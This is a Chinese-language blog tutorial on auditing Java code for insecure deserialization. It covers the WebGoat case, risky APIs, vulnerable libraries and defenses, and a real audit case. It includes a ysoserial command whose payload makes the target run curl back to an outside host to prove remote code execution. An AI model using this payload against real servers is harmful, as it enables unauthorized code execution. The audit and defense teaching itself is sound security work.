专栏首页卓文见识Java代码审计汇总系列(四)——反序列化

Java代码审计汇总系列(四)——反序列化

一、概述

不安全的反序列化(Insecure Deserializations)在最新的OWASP Top 10列表中列于A8。这个漏洞的本质和其他漏洞其实基本相同,是在反序列化的过程中未严格控制用户输入,导致DOS或RCE,只是反序列化这个概念可能稍陌生一点,可通过之前文章了解反序列化原理和Weblogic系列漏洞:Weblogic反序列化历史漏洞全汇总

二、挖掘过程

以Webgoat的案例讲解:

输入序列化后的字节码对象,使得达到延迟5秒载入页面的效果(RCE),可以看到序列化的数据的特征都是以rO0A开头,现实开发里一般是先将对象序列化处理传输,再经过反序列化过程还原,这里省略了前者。

同样抓包定位到源码,走读代码:

@PostMapping("/InsecureDeserialization/task")
 @ResponseBody
    public AttackResultcompleted(@RequestParam String token) throws IOException {
        String b64token;
        long before, after;
        int delay;
        
        b64token =token.replace('-', '+').replace('_', '/');
        try (ObjectInputStreamois = new ObjectInputStream(newByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
             before = System.currentTimeMillis();
             Object o = ois.readObject();

代码逻辑是对输入字符串b64token先进行base64解码,然后使用原生的ObjectInputStream的readObject()方法进行反序列化操作。

确定存在漏洞后可使用BurpSuite的插件进行扫描,插件地址:

https://github.com/federicodotta/Java-Deserialization-Scanner/

后续结合ysoserial进行漏洞利用exploiting,ysoserial的payloads如下:

当然也可以自写使用ObjectOutputStream序列化一个Runtime.getRuntime()的数据进行远程代码执行。详细过程可阅读原文,参考国外一篇文章《Java Deserialization — From Discovery to Reverse Shell on Limited Environments》。

三、挖掘技巧

挖掘反序列化漏洞在业务功能层面关注导入模版文件、网络通信、数据传输、日志格式化存储、对象数据、磁盘或DB存储等场景。

代码层需重点关注一些反序列化操作函数,定位代码后判断反序列化数据是否可控,定位入口需关注反序列化常用的类和函数:

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
Serializable

当确定可以带入序列化数据的入口后,则寻找POP Gadgets利用链,一些存在危险的基础库和框架就提供了可导致命令执行 POP 链的环境,使用ysoserial可直接生成对应的序列化数据对接口进行漏洞利用。

所以在代码审计前可优先查看pom.xml文件,分析是否出现漏洞组件,如CommonsBeanutils、Fastjson<1.2.47等,存在危险的基础库有:

commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop4.1.4.RELEASE

四、漏洞防御

1、 升级服务端所依赖的可能被利用的jar包,包括JDK。

2、 在执行反序列前对InputStream对象进行检查过滤,推荐一个开源的Java反序列化库SerialKiller:

https://github.com/ikkisoft/SerialKiller

五、实战案例

前几章的案例思路都是顺向的攻击思路,但漏洞挖掘的时候其实都是先搜索特征字找到漏洞触发点,然后通过回溯的方法找到调用点。

按照这个逆向思维,挖掘反序列化通常使用关键字进行全局搜索,如ObjectInputStream,通过搜索定位到代码DataConvert.java中的byteArray2Object使用readObject进行了反序列化操作:

public static Object byteArray2Object(byte[] byteArray)
            throws IOException,ClassNotFoundException
{  if (null == byteArray)
        {
            return null;
        }
        ByteArrayInputStreambais = new ByteArrayInputStream(byteArray);
        ObjectInputStream ois= new ObjectInputStream(bais);
        returnois.readObject();
    }

回溯哪个操作调用了这个byteArray2Object方法,依次查看, 其中有一个是handleResultMsg方法。主要看输入是否可控,而这个方法的参数来源于resultMsg+resultMsg2变量的拼接,继续回溯其实是数据表里的result_msg的值,用户输入经过decrypt方法解密后交由反序列化接口处理,故存在漏洞。

private void handleResultMsg(WsMsgLog log, DataSet dataSet)
    {
        String resultMsg =dataSet.getString(ParamDictionary.RESULT_MSG);
        String resultMsg2 =dataSet.getString(ParamDictionary.RESULT_MSG2);
        byte[] resultMsgArray= null;
       
        if (null != resultMsg)
        {
            resultMsgArray =decrypt(resultMsg + resultMsg2);
        }
        else …
        { try
            {log.setResultMsg((Result)DataConvertor
                       .byteArray2Object(resultMsgArray));

后续观察到系统的依赖中包含了 beanutils,以此作为Gadgets使用 ysoserial 生成 beanutils 的反序列化 payload:

java -jar ysoserial.jar CommonsBeanutils1"curl IP:port" > bean.ser

将生成的二进制格式数据bean.ser填入对应参数处进行发包,收到来自服务器的 CURL 命令请求,验证漏洞存在,后续可生成RCE的payload扩大攻击效果。

若想深入反序列化漏洞的原理和挖掘,可以把历史爆发过的Fastjson、XMLDecoder、Commons-collections、JDK进行集中复现和分析。

本文分享自微信公众号 - 卓文见识(zhuowenjianshi),作者:Jayway

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-11

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • IDEA动态调试(二)——反序列化漏洞(Fastjson)

    成因:在把其他格式的数据反序列化成java类的过程中,由于输入可控,导致可以执行其他恶意命令,但追根究底是需要被反序列化的类中重写了readObject方法...

    Jayway
  • 从Kryo反序列化到Marshalsec框架到CVE挖掘

    Kryo 是一个快速序列化/反序列化工具,其使用了字节码生成机制。Kryo 序列化出来的结果,是其自定义的、独有的一种格式,不再是 JSON 或者其他现有的通用...

    Jayway
  • IDEA动态调试(三)——反序列化漏洞(xml+Yaml)

    大多数 java 项目用来处理数据基本上都是xml 和 json 两种格式,上篇讲了fastjson的反序列化,另一个json处理库jackson的漏洞原理...

    Jayway
  • 请解释为什么集合类没有实现Cloneable和Serializable接口?

    克隆(cloning)或者是序列化(serialization)的语义和含义是跟具体的实现相关的。因此,应该由集合类的具体实现来决定如何被克隆或者是序列化。

    剑走天涯
  • Java基础18:Java序列化与反序列化

    本文介绍了Java序列化的基本概念,序列化和反序列化的使用方法,以及实现原理等,比较全面地总结序列化相关知识点,并且使用具体例子来加以佐证。

    黄小斜
  • 【通知】+ java基础提升篇:Java 序列化的高级认识

    好好学java
  • Redis 与序列化

    序列化只是一种拆装组装对象的规则,那么这种规则肯定也可能有多种多样,比如现在常见的序列化方式有:JDK(不支持跨语言)、JSON、XML、Hessian、Kry...

    业余草
  • java 的序列化和反序列化的问题

    引言 将 Java 对象序列化为二进制文件的 Java 序列化技术是 Java 系列技术中一个较为重要的技术点,在大部分情况下,开发人员只需要了解被序列化的...

    xiangzhihong
  • 面试官:您能说说序列化和反序列化吗?是怎么实现的?什么场景下需要它?

    序列化和反序列化是Java中最基础的知识点,也是很容易被大家遗忘的,虽然天天使用它,但并不一定都能清楚的说明白。我相信很多小伙伴们掌握的也就几句概念、关键字(...

    bigsai
  • 【Java基本功】深入浅出Java中的序列化与反序列化

    本文介绍了Java序列化的基本概念,序列化和反序列化的使用方法,以及实现原理等,比较全面地总结序列化相关知识点,并且使用具体例子来加以佐证。

    Java技术江湖

扫码关注云+社区

领取腾讯云代金券